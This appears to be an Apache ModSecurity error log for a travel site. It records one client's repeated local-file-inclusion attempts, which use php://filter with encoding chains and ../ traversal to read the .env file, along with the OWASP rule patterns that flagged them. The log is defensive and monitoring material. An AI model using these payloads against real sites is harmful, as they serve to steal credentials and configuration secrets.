[Fri Jul 17 08:55:12.442986 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.443352 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.444364 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.444477 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.444739 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.447543 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=wyXu2u-vcLfakIheFf1Jql8RZJEW9PpbJ19-OqCdYQDosGt2BLIv8nnOJ8HHgP3GRHHt3IVya_BHGwr4c_VsesPjSQqxajxd-Cu05BRcZVVSx4ihBdttija7kOUnhxVci-WaP98WlbVF_ES17QFAtt0nj6XDbhhx98ZLX5AdHMYK9jZIA7_KLeYr1AeACnWsGgFsaHivAbQgeyw_KKXEv5hJgZoVRMV9LzCdKMsD0WpWxcWggh5pJLrmNURZR31xcS6tXGYogL-_6-kbnurHwqwh&token=QA7DKYOKGFM4JGZU6H3STL3MDHK3XVHG6E5JIONKAK4O7ZS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.447597 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.447664 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=wyXu2u-vcLfakIheFf1Jql8RZJEW9PpbJ19-OqCdYQDosGt2BLIv8nnOJ8HHgP3GRHHt3IVya_BHGwr4c_VsesPjSQqxajxd-Cu05BRcZVVSx4ihBdttija7kOUnhxVci-WaP98WlbVF_ES17QFAtt0nj6XDbhhx98ZLX5AdHMYK9jZIA7_KLeYr1AeACnWsGgFsaHivAbQgeyw_KKXEv5hJgZoVRMV9LzCdKMsD0WpWxcWggh5pJLrmNURZR31xcS6tXGYogL-_6-kbnurHwqwh&token=QA7DKYOKGFM4JGZU6H3STL3MDHK3XVHG6E5JIONKAK4O7ZSF3HHUOM7KTZTX7VXYUZSTTRMFX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.447697 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=wyxu2u-vclfakiheff1jql8rzjew9ppbj19-oqcdyqdosgt2bliv8nnoj8hhgp3grhht3ivya_bhgwr4c_vsespjsqqxajxd-cu05brczvvsx4ihbdttija7kounhxvci-wap98wlbvf_es17qfatt0nj6xdbhhx98zlx5adhmyk9jzia7_kleyr1aeacnwsggfsahivabqgeyw_kkxev5hjgzovrmv9lzcdkmsd0wpwxcwggh5pjlrmnurzr31xcs6txgyogl-_6-kbnurhwqwh&token=qa7dkyokgfm4jgzu6h3stl3mdhk3xvhg6e5jionkak4o7zsf3hhuom7ktztx7vxyuzsttrmfx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.447745 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.447774 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.448127 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.449151 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.449280 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.449612 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSggAAAB4"]
[Fri Jul 17 08:55:12.454472 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zYAAAAAE"]
[Fri Jul 17 08:55:12.459270 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=-gcBjI8RraUHfq4HIDD3gXS_Y_XlDc1H-eOryJxzmA3ZUCkvSIZWOkO1uSoAaP1smv2noRsiPPp-vFm-3eqMwF5Q2b1505n-ApFcw3STF4bx9BAxEW2eVY1EsFAn8WLEc1X_4N4vAD3VFKHT2kDWMiFc2rqYfee--0MM4it_WpJJv7WAdOagChZjg9c6inwwywpI_zfiJs1ibOZ3_rm4z_UtdY4RIDvz7z5Ow2b-C1eGhKVYvQrJlcC3zAmBpC8Ev4veoM-mh71INyONRguX0djW&extra=X24WMUKVHPXQAF6AVBJMMHFSZEVZ3DRFUQPIKSYWC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459325 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459376 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ts=-gcBjI8RraUHfq4HIDD3gXS_Y_XlDc1H-eOryJxzmA3ZUCkvSIZWOkO1uSoAaP1smv2noRsiPPp-vFm-3eqMwF5Q2b1505n-ApFcw3STF4bx9BAxEW2eVY1EsFAn8WLEc1X_4N4vAD3VFKHT2kDWMiFc2rqYfee--0MM4it_WpJJv7WAdOagChZjg9c6inwwywpI_zfiJs1ibOZ3_rm4z_UtdY4RIDvz7z5Ow2b-C1eGhKVYvQrJlcC3zAmBpC8Ev4veoM-mh71INyONRguX0djW&extra=X24WMUKVHPXQAF6AVBJMMHFSZEVZ3DRFUQPIKSYWCO545U6QPPA6WQCZU26CBQLXGITCG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459419 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ts=-gcbji8rrauhfq4hidd3gxs_y_xldc1h-eoryjxzma3zuckvsizwoko1usoaap1smv2norsippp-vfm-3eqmwf5q2b1505n-apfcw3stf4bx9baxew2evy1esfan8wlec1x_4n4vad3vfkht2kdwmifc2rqyfee--0mm4it_wpjjv7wadoagchzjg9c6inwwywpi_zfijs1iboz3_rm4z_utdy4ridvz7z5ow2b-c1eghkvyvqrjlcc3zambpc8ev4veom-mh71inyonrgux0djw&extra=x24wmukvhpxqaf6avbjmmhfszevz3drfuqpiksywco545u6qppa6wqczu26cbqlxgitcg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459442 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459463 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.459855 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.460467 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=fDHjHuVWTvIJmmWNPVta9GyLNCJkj8Dvd5M3k2oARrkZXB8MQ4DPD0dSJzjXxunJpOW-WFzt8sGsaHV53maLI9vGRg1q4XqvcqSuIb_1SkRONxnnLpu5adf3jMezYiWvmtBcPd7xT__rMfenosouur3OC2zZwQ7JijjSshvdfv_xaj82RzXxgwn0oD4539KW6l--77hUvzKQyNxib5IyJ1uyVYKSQqtSPyz_xrzIVKzdM987vsN-kRx2tmoR9bQAv9N_hQOAqXhklvq6t5llDOTg&sid=7NY2OSD7LAYA3WEVSLOQK3ZU27ZDHOW3L5EYP53LU4PF7BDL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.460534 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.460597 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ts=fDHjHuVWTvIJmmWNPVta9GyLNCJkj8Dvd5M3k2oARrkZXB8MQ4DPD0dSJzjXxunJpOW-WFzt8sGsaHV53maLI9vGRg1q4XqvcqSuIb_1SkRONxnnLpu5adf3jMezYiWvmtBcPd7xT__rMfenosouur3OC2zZwQ7JijjSshvdfv_xaj82RzXxgwn0oD4539KW6l--77hUvzKQyNxib5IyJ1uyVYKSQqtSPyz_xrzIVKzdM987vsN-kRx2tmoR9bQAv9N_hQOAqXhklvq6t5llDOTg&sid=7NY2OSD7LAYA3WEVSLOQK3ZU27ZDHOW3L5EYP53LU4PF7BDL2JRI2C46VXEK3DMETMGSIHLXVJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
